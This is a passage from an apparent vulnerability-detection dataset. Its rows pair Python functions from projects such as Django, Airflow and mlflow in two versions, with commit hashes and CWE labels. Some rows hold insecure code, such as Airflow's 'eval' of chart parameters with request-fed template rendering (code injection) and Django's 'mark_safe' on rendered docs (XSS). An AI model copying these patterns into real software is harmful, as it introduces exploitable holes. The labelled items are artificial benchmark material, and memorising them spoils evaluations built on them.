    df = pyfunc_scoring_server.parse_json_input(bad_df, orient=""split"", schema=schema)
    # Unfortunately, the current behavior of pandas parse is to force numbers to int32 even if
    # they don't fit:
    assert df[""bad_integer""].dtype == np.int32
    assert all(df[""bad_integer""] == [-2147483648, -2147483648, -2147483648])

    # The same goes for floats:
    assert df[""bad_float""].dtype == np.float32
    assert all(df[""bad_float""] == np.array([1.1, 9007199254740992, 3.3], dtype=np.float32))
    # String is forced:
    assert all(df[""bad_string""] == np.array([1, 2, 3], dtype=str))

    # Boolean is forced - zero and empty string is false, everything else is true:
    assert df[""bad_boolean""].dtype == bool
    assert all(df[""bad_boolean""] == [True, False, True])",CWE-703,mlflow/mlflow,4bcd0c9650f9dc72ec8756246b4ebd3d2b04f0d3,"def test_parse_with_schema(pandas_df_with_all_types):
    schema = Schema([ColSpec(c, c) for c in pandas_df_with_all_types.columns])
    df = _shuffle_pdf(pandas_df_with_all_types)
    json_str = json.dumps(df.to_dict(orient=""split""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""split"", schema=schema)
    json_str = json.dumps(df.to_dict(orient=""records""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""records"", schema=schema)
    assert schema == infer_signature(df[schema.input_names()]).inputs

    # The current behavior with pandas json parse with type hints is weird. In some cases, the
    # types are forced ignoting overflow and loss of precision:

    bad_df = """"""{
      ""columns"":[""bad_integer"", ""bad_float"", ""bad_string"", ""bad_boolean""],
      ""data"":[
        [9007199254740991.0, 1.1,                1, 1.5],
        [9007199254740992.0, 9007199254740992.0, 2, 0],
        [9007199254740994.0, 3.3,                3, ""some arbitrary string""]
      ]
    }""""""
    schema = Schema(
        [
            ColSpec(""integer"", ""bad_integer""),
            ColSpec(""float"", ""bad_float""),
            ColSpec(""float"", ""good_float""),
            ColSpec(""string"", ""bad_string""),
            ColSpec(""boolean"", ""bad_boolean""),
        ]
    )
    df = pyfunc_scoring_server.parse_json_input(bad_df, orient=""split"", schema=schema)
    # Unfortunately, the current behavior of pandas parse is to force numbers to int32 even if
    # they don't fit:
    assert df[""bad_integer""].dtype == np.int32
    assert all(df[""bad_integer""] == [-2147483648, -2147483648, -2147483648])

    # The same goes for floats:
    assert df[""bad_float""].dtype == np.float32
    assert all(df[""bad_float""] == np.array([1.1, 9007199254740992, 3.3], dtype=np.float32))
    # However bad string is recognized as int64:
    assert all(df[""bad_string""] == np.array([1, 2, 3], dtype=object))

    # Boolean is forced - zero and empty string is false, everything else is true:
    assert df[""bad_boolean""].dtype == bool
    assert all(df[""bad_boolean""] == [True, False, True])"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def change_aliases(self, change_map):
        """"""
        Changes the aliases in change_map (which maps old-alias -> new-alias),
        relabelling any references to them in select columns and the where
        clause.
        """"""
        assert set(change_map.keys()).intersection(set(change_map.values())) == set()

        def relabel_column(col):
            if isinstance(col, (list, tuple)):
                old_alias = col[0]
                return (change_map.get(old_alias, old_alias), col[1])
            else:
                return col.relabeled_clone(change_map)
        # 1. Update references in ""select"" (normal columns plus aliases),
        # ""group by"", ""where"" and ""having"".
        self.where.relabel_aliases(change_map)
        self.having.relabel_aliases(change_map)
        if self.group_by:
            self.group_by = [relabel_column(col) for col in self.group_by]
        self.select = [SelectInfo(relabel_column(s.col), s.field)
                       for s in self.select]
        self.aggregates = OrderedDict(
            (key, relabel_column(col)) for key, col in self.aggregates.items())

        # 2. Rename the alias in the internal table/alias datastructures.
        for ident, aliases in self.join_map.items():
            del self.join_map[ident]
            aliases = tuple(change_map.get(a, a) for a in aliases)
            ident = (change_map.get(ident[0], ident[0]),) + ident[1:]
            self.join_map[ident] = aliases
        for old_alias, new_alias in six.iteritems(change_map):
            alias_data = self.alias_map[old_alias]
            alias_data = alias_data._replace(rhs_alias=new_alias)
            self.alias_refcount[new_alias] = self.alias_refcount[old_alias]
            del self.alias_refcount[old_alias]
            self.alias_map[new_alias] = alias_data
            del self.alias_map[old_alias]

            table_aliases = self.table_map[alias_data.table_name]
            for pos, alias in enumerate(table_aliases):
                if alias == old_alias:
                    table_aliases[pos] = new_alias
                    break
            for pos, alias in enumerate(self.tables):
                if alias == old_alias:
                    self.tables[pos] = new_alias
                    break
        for key, alias in self.included_inherited_models.items():
            if alias in change_map:
                self.included_inherited_models[key] = change_map[alias]

        # 3. Update any joins that refer to the old alias.
        for alias, data in six.iteritems(self.alias_map):
            lhs = data.lhs_alias
            if lhs in change_map:
                data = data._replace(lhs_alias=change_map[lhs])
                self.alias_map[alias] = data",CWE-703,django/django,c7d0ff0cad24dbf444f2e4b534377c3352c7aa98,"def change_aliases(self, change_map):
        """"""
        Changes the aliases in change_map (which maps old-alias -> new-alias),
        relabelling any references to them in select columns and the where
        clause.
        """"""
        assert set(change_map.keys()).intersection(set(change_map.values())) == set()

        def relabel_column(col):
            if isinstance(col, (list, tuple)):
                old_alias = col[0]
                return (change_map.get(old_alias, old_alias), col[1])
            else:
                return col.relabeled_clone(change_map)
        # 1. Update references in ""select"" (normal columns plus aliases),
        # ""group by"", ""where"" and ""having"".
        self.where.relabel_aliases(change_map)
        self.having.relabel_aliases(change_map)
        if self.group_by:
            self.group_by = [relabel_column(col) for col in self.group_by]
        self.select = [SelectInfo(relabel_column(s.col), s.field)
                       for s in self.select]
        self.aggregates = OrderedDict(
            (key, relabel_column(col)) for key, col in self.aggregates.items())

        # 2. Rename the alias in the internal table/alias datastructures.
        for ident, aliases in self.join_map.items():
            del self.join_map[ident]
            aliases = tuple([change_map.get(a, a) for a in aliases])
            ident = (change_map.get(ident[0], ident[0]),) + ident[1:]
            self.join_map[ident] = aliases
        for old_alias, new_alias in six.iteritems(change_map):
            alias_data = self.alias_map[old_alias]
            alias_data = alias_data._replace(rhs_alias=new_alias)
            self.alias_refcount[new_alias] = self.alias_refcount[old_alias]
            del self.alias_refcount[old_alias]
            self.alias_map[new_alias] = alias_data
            del self.alias_map[old_alias]

            table_aliases = self.table_map[alias_data.table_name]
            for pos, alias in enumerate(table_aliases):
                if alias == old_alias:
                    table_aliases[pos] = new_alias
                    break
            for pos, alias in enumerate(self.tables):
                if alias == old_alias:
                    self.tables[pos] = new_alias
                    break
        for key, alias in self.included_inherited_models.items():
            if alias in change_map:
                self.included_inherited_models[key] = change_map[alias]

        # 3. Update any joins that refer to the old alias.
        for alias, data in six.iteritems(self.alias_map):
            lhs = data.lhs_alias
            if lhs in change_map:
                data = data._replace(lhs_alias=change_map[lhs])
                self.alias_map[alias] = data"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/views/debug.py,0,"def _get_lines_from_file(self, filename, lineno, context_lines, loader=None, module_name=None):
        """"""
        Returns context_lines before and after lineno from file.
        Returns (pre_context_lineno, pre_context, context_line, post_context).
        """"""
        source = None
        if loader is not None and hasattr(loader, ""get_source""):
            try:
                source = loader.get_source(module_name)
            except ImportError:
                pass
            if source is not None:
                source = source.splitlines()
        if source is None:
            try:
                with open(filename, 'rb') as fp:
                    source = fp.read().splitlines()
            except (OSError, IOError):
                pass
        if source is None:
            return None, [], None, []

        # If we just read the source from a file, or if the loader did not
        # apply tokenize.detect_encoding to decode the source into a Unicode
        # string, then we should do that ourselves.
        if isinstance(source[0], six.binary_type):
            encoding = 'ascii'
            for line in source[:2]:
                # File coding may be specified. Match pattern from PEP-263
                # (http://www.python.org/dev/peps/pep-0263/)
                match = re.search(br'coding[:=]\s*([-\w.]+)', line)
                if match:
                    encoding = match.group(1).decode('ascii')
                    break
            source = [six.text_type(sline, encoding, 'replace') for sline in source]

        lower_bound = max(0, lineno - context_lines)
        upper_bound = lineno + context_lines

        pre_context = source[lower_bound:lineno]
        context_line = source[lineno]
        post_context = source[lineno + 1:upper_bound]

        return lower_bound, pre_context, context_line, post_context",CWE-Unknown,django/django,18185724e614fb3449612ce3df811af32fbc0582,"def _get_lines_from_file(self, filename, lineno, context_lines, loader=None, module_name=None):
        """"""
        Returns context_lines before and after lineno from file.
        Returns (pre_context_lineno, pre_context, context_line, post_context).
        """"""
        source = None
        if loader is not None and hasattr(loader, ""get_source""):
            source = loader.get_source(module_name)
            if source is not None:
                source = source.splitlines()
        if source is None:
            try:
                with open(filename, 'rb') as fp:
                    source = fp.read().splitlines()
            except (OSError, IOError):
                pass
        if source is None:
            return None, [], None, []

        # If we just read the source from a file, or if the loader did not
        # apply tokenize.detect_encoding to decode the source into a Unicode
        # string, then we should do that ourselves.
        if isinstance(source[0], six.binary_type):
            encoding = 'ascii'
            for line in source[:2]:
                # File coding may be specified. Match pattern from PEP-263
                # (http://www.python.org/dev/peps/pep-0263/)
                match = re.search(br'coding[:=]\s*([-\w.]+)', line)
                if match:
                    encoding = match.group(1).decode('ascii')
                    break
            source = [six.text_type(sline, encoding, 'replace') for sline in source]

        lower_bound = max(0, lineno - context_lines)
        upper_bound = lineno + context_lines

        pre_context = source[lower_bound:lineno]
        context_line = source[lineno]
        post_context = source[lineno + 1:upper_bound]

        return lower_bound, pre_context, context_line, post_context"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/sftp_file.py,0,"def __init__(self, sftp, handle, mode='r', bufsize=-1):
        BufferedFile.__init__(self)
        self.sftp = sftp
        self.handle = handle
        BufferedFile._set_mode(self, mode, bufsize)
        self.pipelined = False",,paramiko/paramiko,fb73c0ef7f969a873ccb4f091cacd3ba83d7bb85,"def __init__(self, sftp, handle, mode='r', bufsize=-1):
        BufferedFile.__init__(self)
        self.sftp = sftp
        self.handle = handle
        BufferedFile._set_mode(self, mode, bufsize)"
,UNKNOWN,UNKNOWN,django/contrib/admindocs/utils.py,1,"def parse_rst(text, default_reference_context, thing_being_parsed=None):
    """"""
    Convert the string from reST to an XHTML fragment.
    """"""
    overrides = {
        'doctitle_xform': True,
        'initial_header_level': 3,
        ""default_reference_context"": default_reference_context,
        ""link_base"": reverse('django-admindocs-docroot').rstrip('/'),
        'raw_enabled': False,
        'file_insertion_enabled': False,
    }
    if thing_being_parsed:
        thing_being_parsed = force_bytes(""<%s>"" % thing_being_parsed)
    # Wrap ``text`` in some reST that sets the default role to ``cmsreference``,
    # then restores it.
    source = """"""
.. default-role:: cmsreference

%s

.. default-role::
""""""
    parts = docutils.core.publish_parts(
        source % text,
        source_path=thing_being_parsed, destination_path=None,
        writer_name='html', settings_overrides=overrides,
    )
    return mark_safe(parts['fragment'])",CWE-79,django/django,df8d8d4292684d6ffa7474f1e201aed486f02b53,"def parse_rst(text, default_reference_context, thing_being_parsed=None):
    """"""
    Convert the string from reST to an XHTML fragment.
    """"""
    overrides = {
        'doctitle_xform': True,
        'initial_header_level': 3,
        ""default_reference_context"": default_reference_context,
        ""link_base"": reverse('django-admindocs-docroot').rstrip('/'),
        'raw_enabled': False,
        'file_insertion_enabled': False,
    }
    if thing_being_parsed:
        thing_being_parsed = force_bytes(""<%s>"" % thing_being_parsed)
    # Wrap ``text`` in some reST that sets the default role to ``cmsreference``,
    # then restores it.
    source = """"""
.. default-role:: cmsreference

%s

.. default-role::
""""""
    parts = docutils.core.publish_parts(source % text,
                source_path=thing_being_parsed, destination_path=None,
                writer_name='html', settings_overrides=overrides)
    return mark_safe(parts['fragment'])"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/check_framework/test_security.py,0,"def test_with_content_type_nosniff(self):
        self.assertEqual(self.func(None), [])",CWE-Unknown,django/django,c5075360c50b6e681fb3e7d58e6e93ae96662f49,"def test_with_content_type_nosniff(self):
        self.assertEqual(self.func(None), [])"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_model_export.py,0,"def test_save_model_with_pip_requirements(sequential_model, tmpdir):
    # Path to a requirements file
    tmpdir1 = tmpdir.join(""1"")
    req_file = tmpdir.join(""requirements.txt"")
    req_file.write(""a"")
    mlflow.pytorch.save_model(sequential_model, tmpdir1.strpath, pip_requirements=req_file.strpath)
    _assert_pip_requirements(tmpdir1.strpath, [""mlflow"", ""a""], strict=True)

    # List of requirements
    tmpdir2 = tmpdir.join(""2"")
    mlflow.pytorch.save_model(
        sequential_model, tmpdir2.strpath, pip_requirements=[f""-r {req_file.strpath}"", ""b""]
    )
    _assert_pip_requirements(tmpdir2.strpath, [""mlflow"", ""a"", ""b""], strict=True)

    # Constraints file
    tmpdir3 = tmpdir.join(""3"")
    mlflow.pytorch.save_model(
        sequential_model, tmpdir3.strpath, pip_requirements=[f""-c {req_file.strpath}"", ""b""]
    )
    _assert_pip_requirements(
        tmpdir3.strpath, [""mlflow"", ""b"", ""-c constraints.txt""], [""a""], strict=True
    )",,mlflow/mlflow,9c934f5a57cc8701475eb7ed0b6b072600b66bed,"def test_save_model_with_pip_requirements(sequential_model, tmpdir):
    # Path to a requirements file
    tmpdir1 = tmpdir.join(""1"")
    req_file = tmpdir.join(""requirements.txt"")
    req_file.write(""a"")
    mlflow.pytorch.save_model(sequential_model, tmpdir1.strpath, pip_requirements=req_file.strpath)
    _assert_pip_requirements(tmpdir1.strpath, [""mlflow"", ""a""])

    # List of requirements
    tmpdir2 = tmpdir.join(""2"")
    mlflow.pytorch.save_model(
        sequential_model, tmpdir2.strpath, pip_requirements=[f""-r {req_file.strpath}"", ""b""]
    )
    _assert_pip_requirements(tmpdir2.strpath, [""mlflow"", ""a"", ""b""])

    # Constraints file
    tmpdir3 = tmpdir.join(""3"")
    mlflow.pytorch.save_model(
        sequential_model, tmpdir3.strpath, pip_requirements=[f""-c {req_file.strpath}"", ""b""]
    )
    _assert_pip_requirements(tmpdir3.strpath, [""mlflow"", ""b"", ""-c constraints.txt""], [""a""])"
,UNKNOWN,UNKNOWN,airflow/www/app.py,1,"def chart_data(self):
        session = settings.Session()
        chart_id = request.args.get('chart_id')
        csv = request.args.get('csv') == ""true""
        chart = session.query(models.Chart).filter_by(id=chart_id).first()
        db = session.query(
            models.Connection).filter_by(conn_id=chart.conn_id).first()
        session.expunge_all()
        session.commit()
        session.close()

        payload = {}
        payload['state'] = 'ERROR'
        payload['error'] = ''

        # Processing templated fields
        try:
            args = eval(chart.default_params)
            if type(args) is not type(dict()):
                raise AirflowException('Not a dict')
        except:
            args = {}
            payload['error'] += (
                ""Default params is not valid, string has to evaluate as ""
                ""a Python dictionary. "")

        request_dict = {k: request.args.get(k) for k in request.args}
        from airflow import macros
        args.update(request_dict)
        args['macros'] = macros
        sql = jinja2.Template(chart.sql).render(**args)
        label = jinja2.Template(chart.label).render(**args)
        payload['sql_html'] = Markup(highlight(
            sql,
            lexers.SqlLexer(),  # Lexer call
            HtmlFormatter(noclasses=True))
        )
        payload['label'] = label

        import pandas as pd
        pd.set_option('display.max_colwidth', 100)
        hook = db.get_hook()
        try:
            df = hook.get_pandas_df(wwwutils.limit_sql(sql, CHART_LIMIT, conn_type=db.conn_type))
            df = df.fillna(0)
        except Exception as e:
            payload['error'] += ""SQL execution failed. Details: "" + str(e)

        if csv:
            return Response(
                response=df.to_csv(index=False),
                status=200,
                mimetype=""application/text"")

        if not payload['error'] and len(df) == CHART_LIMIT:
            payload['warning'] = (
                ""Data has been truncated to {0}""
                "" rows. Expect incomplete results."").format(CHART_LIMIT)

        if not payload['error'] and len(df) == 0:
            payload['error'] += ""Empty result set. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'series' and
                chart.chart_type != ""datatable"" and
                len(df.columns) < 3):
            payload['error'] += ""SQL needs to return at least 3 columns. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'columns'and
                len(df.columns) < 2):
            payload['error'] += ""SQL needs to return at least 2 columns. ""
        elif not payload['error']:
            import numpy as np
            chart_type = chart.chart_type

            data = None
            if chart_type == ""datatable"":
                chart.show_datatable = True
            if chart.show_datatable:
                data = df.to_dict(orient=""split"")
                data['columns'] = [{'title': c} for c in data['columns']]

            # Trying to convert time to something Highcharts likes
            x_col = 1 if chart.sql_layout == 'series' else 0
            if chart.x_is_date:
                try:
                    # From string to datetime
                    df[df.columns[x_col]] = pd.to_datetime(
                        df[df.columns[x_col]])
                except Exception as e:
                    raise AirflowException(str(e))
                df[df.columns[x_col]] = df[df.columns[x_col]].apply(
                    lambda x: int(x.strftime(""%s"")) * 1000)

            series = []
            colorAxis = None
            if chart_type == 'datatable':
                payload['data'] = data
                payload['state'] = 'SUCCESS'
                return Response(
                    response=json.dumps(
                        payload, indent=4, cls=utils.AirflowJsonEncoder),
                    status=200,
                    mimetype=""application/json"")

            elif chart_type == 'para':
                df.rename(columns={
                    df.columns[0]: 'name',
                    df.columns[1]: 'group',
                }, inplace=True)
                return Response(
                    response=df.to_csv(index=False),
                    status=200,
                    mimetype=""application/text"")

            elif chart_type == 'heatmap':
                color_perc_lbound = float(
                    request.args.get('color_perc_lbound', 0))
                color_perc_rbound = float(
                    request.args.get('color_perc_rbound', 1))
                color_scheme = request.args.get('color_scheme', 'blue_red')

                if color_scheme == 'blue_red':
                    stops = [
                        [color_perc_lbound, '#00D1C1'],
                        [
                            color_perc_lbound +
                            ((color_perc_rbound - color_perc_lbound)/2),
                            '#FFFFCC'
                        ],
                        [color_perc_rbound, '#FF5A5F']
                    ]
                elif color_scheme == 'blue_scale':
                    stops = [
                        [color_perc_lbound, '#FFFFFF'],
                        [color_perc_rbound, '#2222FF']
                    ]
                elif color_scheme == 'fire':
                    diff = float(color_perc_rbound - color_perc_lbound)
                    stops = [
                        [color_perc_lbound, '#FFFFFF'],
                        [color_perc_lbound + 0.33*diff, '#FFFF00'],
                        [color_perc_lbound + 0.66*diff, '#FF0000'],
                        [color_perc_rbound, '#000000']
                    ]
                else:
                    stops = [
                        [color_perc_lbound, '#FFFFFF'],
                        [
                            color_perc_lbound +
                            ((color_perc_rbound - color_perc_lbound)/2),
                            '#888888'
                        ],
                        [color_perc_rbound, '#000000'],
                    ]

                xaxis_label = df.columns[1]
                yaxis_label = df.columns[2]
                data = []
                for row in df.itertuples():
                    data.append({
                        'x': row[2],
                        'y': row[3],
                        'value': row[4],
                    })
                x_format = '{point.x:%Y-%m-%d}' \
                    if chart.x_is_date else '{point.x}'
                series.append({
                    'data': data,
                    'borderWidth': 0,
                    'colsize': 24 * 36e5,
                    'turboThreshold': sys.float_info.max,
                    'tooltip': {
                        'headerFormat': '',
                        'pointFormat': (
                            df.columns[1] + ': ' + x_format + '<br/>' +
                            df.columns[2] + ': {point.y}<br/>' +
                            df.columns[3] + ': <b>{point.value}</b>'
                        ),
                    },
                })
                colorAxis = {
                    'stops': stops,
                    'minColor': '#FFFFFF',
                    'maxColor': '#000000',
                    'min': 50,
                    'max': 2200,
                }
            else:
                if chart.sql_layout == 'series':
                    # User provides columns (series, x, y)
                    xaxis_label = df.columns[1]
                    yaxis_label = df.columns[2]
                    df[df.columns[2]] = df[df.columns[2]].astype(np.float)
                    df = df.pivot_table(
                        index=df.columns[1],
                        columns=df.columns[0],
                        values=df.columns[2], aggfunc=np.sum)
                else:
                    # User provides columns (x, y, metric1, metric2, ...)
                    xaxis_label = df.columns[0]
                    yaxis_label = 'y'
                    df.index = df[df.columns[0]]
                    df = df.sort(df.columns[0])
                    del df[df.columns[0]]
                    for col in df.columns:
                        df[col] = df[col].astype(np.float)

                for col in df.columns:
                    series.append({
                        'name': col,
                        'data': [
                            (k, df[col][k])
                            for k in df[col].keys()
                            if not np.isnan(df[col][k])]
                    })
                series = [serie for serie in sorted(
                    series, key=lambda s: s['data'][0][1], reverse=True)]

            if chart_type == ""stacked_area"":
                stacking = ""normal""
                chart_type = 'area'
            elif chart_type == ""percent_area"":
                stacking = ""percent""
                chart_type = 'area'
            else:
                stacking = None
            hc = {
                'chart': {
                    'type': chart_type
                },
                'plotOptions': {
                    'series': {
                        'marker': {
                            'enabled': False
                        }
                    },
                    'area': {'stacking': stacking},
                },
                'title': {'text': ''},
                'xAxis': {
                    'title': {'text': xaxis_label},
                    'type': 'datetime' if chart.x_is_date else None,
                },
                'yAxis': {
                    'title': {'text': yaxis_label},
                },
                'colorAxis': colorAxis,
                'tooltip': {
                    'useHTML': True,
                    'backgroundColor': None,
                    'borderWidth': 0,
                },
                'series': series,
            }

            if chart.y_log_scale:
                hc['yAxis']['type'] = 'logarithmic'
                hc['yAxis']['minorTickInterval'] = 0.1
                if 'min' in hc['yAxis']:
                    del hc['yAxis']['min']

            payload['state'] = 'SUCCESS'
            payload['hc'] = hc
            payload['data'] = data
            payload['request_dict'] = request_dict

        return Response(
            response=json.dumps(
                payload, indent=4, cls=utils.AirflowJsonEncoder),
            status=200,
            mimetype=""application/json"")",CWE-94,apache/airflow,64968b7d645e8696492c6455be4692400567f1e3,"def chart_data(self):
        session = settings.Session()
        chart_id = request.args.get('chart_id')
        csv = request.args.get('csv') == ""true""
        chart = session.query(models.Chart).filter_by(id=chart_id).all()[0]
        db = session.query(
            models.Connection).filter_by(conn_id=chart.conn_id).all()[0]
        session.expunge_all()
        session.commit()
        session.close()

        payload = {}
        payload['state'] = 'ERROR'
        payload['error'] = ''

        # Processing templated fields
        try:
            args = eval(chart.default_params)
            if type(args) is not type(dict()):
                raise AirflowException('Not a dict')
        except:
            args = {}
            payload['error'] += (
                ""Default params is not valid, string has to evaluate as ""
                ""a Python dictionary. "")

        request_dict = {k: request.args.get(k) for k in request.args}
        from airflow import macros
        args.update(request_dict)
        args['macros'] = macros
        sql = jinja2.Template(chart.sql).render(**args)
        label = jinja2.Template(chart.label).render(**args)
        payload['sql_html'] = Markup(highlight(
            sql,
            lexers.SqlLexer(),  # Lexer call
            HtmlFormatter(noclasses=True))
        )
        payload['label'] = label

        import pandas as pd
        pd.set_option('display.max_colwidth', 100)
        hook = db.get_hook()
        try:
            df = hook.get_pandas_df(wwwutils.limit_sql(sql, CHART_LIMIT, conn_type=db.conn_type))
            df = df.fillna(0)
        except Exception as e:
            payload['error'] += ""SQL execution failed. Details: "" + str(e)

        if csv:
            return Response(
                response=df.to_csv(index=False),
                status=200,
                mimetype=""application/text"")

        if not payload['error'] and len(df) == CHART_LIMIT:
            payload['warning'] = (
                ""Data has been truncated to {0}""
                "" rows. Expect incomplete results."").format(CHART_LIMIT)

        if not payload['error'] and len(df) == 0:
            payload['error'] += ""Empty result set. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'series' and
                chart.chart_type != ""datatable"" and
                len(df.columns) < 3):
            payload['error'] += ""SQL needs to return at least 3 columns. ""
        elif (
                not payload['error'] and
                chart.sql_layout == 'columns'and
                len(df.columns) < 2):
            payload['error'] += ""SQL needs to return at least 2 columns. ""
        elif not payload['error']:
            import numpy as np
            chart_type = chart.chart_type

            data = None
            if chart_type == ""datatable"":
                chart.show_datatable = True
            if chart.show_datatable:
                data = df.to_dict(orient=""split"")
                data['columns'] = [{'title': c} for c in data['columns']]

            # Trying to convert time to something Highcharts likes
            x_col = 1 if chart.sql_layout == 'series' else 0
            if chart.x_is_date:
                try:
                    # From string to datetime
                    df[df.columns[x_col]] = pd.to_datetime(
                        df[df.columns[x_col]])
                except Exception as e:
                    raise AirflowException(str(e))
                df[df.columns[x_col]] = df[df.columns[x_col]].apply(
                    lambda x: int(x.strftime(""%s"")) * 1000)

            series = []
            colorAxis = None
            if chart_type == 'datatable':
                payload['data'] = data
                payload['state'] = 'SUCCESS'
                return Response(
                    response=json.dumps(
                        payload, indent=4, cls=utils.AirflowJsonEncoder),
                    status=200,
                    mimetype=""application/json"")

            elif chart_type == 'para':
                df.rename(columns={
                    df.columns[0]: 'name',
                    df.columns[1]: 'group',
                }, inplace=True)
                return Response(
                    response=df.to_csv(index=False),
                    status=200,
                    mimetype=""application/text"")

            elif chart_type == 'heatmap':
                color_perc_lbound = float(
                    request.args.get('color_perc_lbound', 0))
                color_perc_rbound = float(
                    request.args.get('color_perc_rbound', 1))
                color_scheme = request.args.get('color_scheme', 'blue_red')

                if color_scheme == 'blue_red':
                    stops = [
                        [color_perc_lbound, '#00D1C1'],
                        [
                            color_perc_lbound +
                            ((color_perc_rbound - color_perc_lbound)/2),
                            '#FFFFCC'
                        ],
                        [color_perc_rbound, '#FF5A5F']
                    ]
                elif color_scheme == 'blue_scale':
                    stops = [
                        [color_perc_lbound, '#FFFFFF'],
                        [color_perc_rbound, '#2222FF']
                    ]
                elif color_scheme == 'fire':
                    diff = float(color_perc_rbound - color_perc_lbound)
                    stops = [
                        [color_perc_lbound, '#FFFFFF'],
                        [color_perc_lbound + 0.33*diff, '#FFFF00'],
                        [color_perc_lbound + 0.66*diff, '#FF0000'],
                        [color_perc_rbound, '#000000']
                    ]
                else:
                    stops = [
                        [color_perc_lbound, '#FFFFFF'],
                        [
                            color_perc_lbound +
                            ((color_perc_rbound - color_perc_lbound)/2),
                            '#888888'
                        ],
                        [color_perc_rbound, '#000000'],
                    ]

                xaxis_label = df.columns[1]
                yaxis_label = df.columns[2]
                data = []
                for row in df.itertuples():
                    data.append({
                        'x': row[2],
                        'y': row[3],
                        'value': row[4],
                    })
                x_format = '{point.x:%Y-%m-%d}' \
                    if chart.x_is_date else '{point.x}'
                series.append({
                    'data': data,
                    'borderWidth': 0,
                    'colsize': 24 * 36e5,
                    'turboThreshold': sys.float_info.max,
                    'tooltip': {
                        'headerFormat': '',
                        'pointFormat': (
                            df.columns[1] + ': ' + x_format + '<br/>' +
                            df.columns[2] + ': {point.y}<br/>' +
                            df.columns[3] + ': <b>{point.value}</b>'
                        ),
                    },
                })
                colorAxis = {
                    'stops': stops,
                    'minColor': '#FFFFFF',
                    'maxColor': '#000000',
                    'min': 50,
                    'max': 2200,
                }
            else:
                if chart.sql_layout == 'series':
                    # User provides columns (series, x, y)
                    xaxis_label = df.columns[1]
                    yaxis_label = df.columns[2]
                    df[df.columns[2]] = df[df.columns[2]].astype(np.float)
                    df = df.pivot_table(
                        index=df.columns[1],
                        columns=df.columns[0],
                        values=df.columns[2], aggfunc=np.sum)
                else:
                    # User provides columns (x, y, metric1, metric2, ...)
                    xaxis_label = df.columns[0]
                    yaxis_label = 'y'
                    df.index = df[df.columns[0]]
                    df = df.sort(df.columns[0])
                    del df[df.columns[0]]
                    for col in df.columns:
                        df[col] = df[col].astype(np.float)

                for col in df.columns:
                    series.append({
                        'name': col,
                        'data': [
                            (k, df[col][k])
                            for k in df[col].keys()
                            if not np.isnan(df[col][k])]
                    })
                series = [serie for serie in sorted(
                    series, key=lambda s: s['data'][0][1], reverse=True)]

            if chart_type == ""stacked_area"":
                stacking = ""normal""
                chart_type = 'area'
            elif chart_type == ""percent_area"":
                stacking = ""percent""
                chart_type = 'area'
            else:
                stacking = None
            hc = {
                'chart': {
                    'type': chart_type
                },
                'plotOptions': {
                    'series': {
                        'marker': {
                            'enabled': False
                        }
                    },
                    'area': {'stacking': stacking},
                },
                'title': {'text': ''},
                'xAxis': {
                    'title': {'text': xaxis_label},
                    'type': 'datetime' if chart.x_is_date else None,
                },
                'yAxis': {
                    'title': {'text': yaxis_label},
                },
                'colorAxis': colorAxis,
                'tooltip': {
                    'useHTML': True,
                    'backgroundColor': None,
                    'borderWidth': 0,
                },
                'series': series,
            }

            if chart.y_log_scale:
                hc['yAxis']['type'] = 'logarithmic'
                hc['yAxis']['minorTickInterval'] = 0.1
                if 'min' in hc['yAxis']:
                    del hc['yAxis']['min']

            payload['state'] = 'SUCCESS'
            payload['hc'] = hc
            payload['data'] = data
            payload['request_dict'] = request_dict

        return Response(
            response=json.dumps(
                payload, indent=4, cls=utils.AirflowJsonEncoder),
            status=200,
            mimetype=""application/json"")"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_helpers.py,0,"def test_url_for_with_scheme_not_external(self):
        app = flask.Flask(__name__)
        @app.route('/')
        def index():
            return '42'
        with app.test_request_context():
            pytest.raises(ValueError,
                               flask.url_for,
                               'index',
                               _scheme='https')",,pallets/flask,b13e83a2f228625b66c04003a1df7f8e7fb4176d,"def test_url_for_with_scheme_not_external(self):
        app = flask.Flask(__name__)
        @app.route('/')
        def index():
            return '42'
        with app.test_request_context():
            pytest.raises(ValueError,
                               flask.url_for,
                               'index',
                               _scheme='https')"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/slxos/slxos_facts.py,0,"def populate(self):
        super(Hardware, self).populate()
        data = self.responses[0]
        if data:
            self.facts['memtotal_mb'] = int(round(int(self.parse_memtotal(data)) / 1024, 0))
            self.facts['memfree_mb'] = int(round(int(self.parse_memfree(data)) / 1024, 0))",,ansible/ansible,7ba0d8f60eab6479a675ad8c1be54d7245357037,"def populate(self):
        super(Hardware, self).populate()
        data = self.responses[0]
        if data:
            self.facts['memtotal_mb'] = int(round(int(self.parse_memtotal(data)) / 1024, 0))
            self.facts['memfree_mb'] = int(round(int(self.parse_memfree(data)) / 1024, 0))"
,UNKNOWN,UNKNOWN,chart/tests/test_basic_helm_chart.py,1,"def test_basic_deployments(self):
        k8s_objects = render_chart(
            ""TEST-BASIC"",
            values={
                ""chart"": {
                    'metadata': 'AA',
                },
                'labels': {""TEST-LABEL"": ""TEST-VALUE""},
                ""fullnameOverride"": ""TEST-BASIC"",
            },
        )
        list_of_kind_names_tuples = {
            (k8s_object['kind'], k8s_object['metadata']['name']) for k8s_object in k8s_objects
        }
        assert list_of_kind_names_tuples == {
            ('ServiceAccount', 'TEST-BASIC-create-user-job'),
            ('ServiceAccount', 'TEST-BASIC-flower'),
            ('ServiceAccount', 'TEST-BASIC-migrate-database-job'),
            ('ServiceAccount', 'TEST-BASIC-redis'),
            ('ServiceAccount', 'TEST-BASIC-scheduler'),
            ('ServiceAccount', 'TEST-BASIC-statsd'),
            ('ServiceAccount', 'TEST-BASIC-webserver'),
            ('ServiceAccount', 'TEST-BASIC-worker'),
            ('Secret', 'TEST-BASIC-airflow-metadata'),
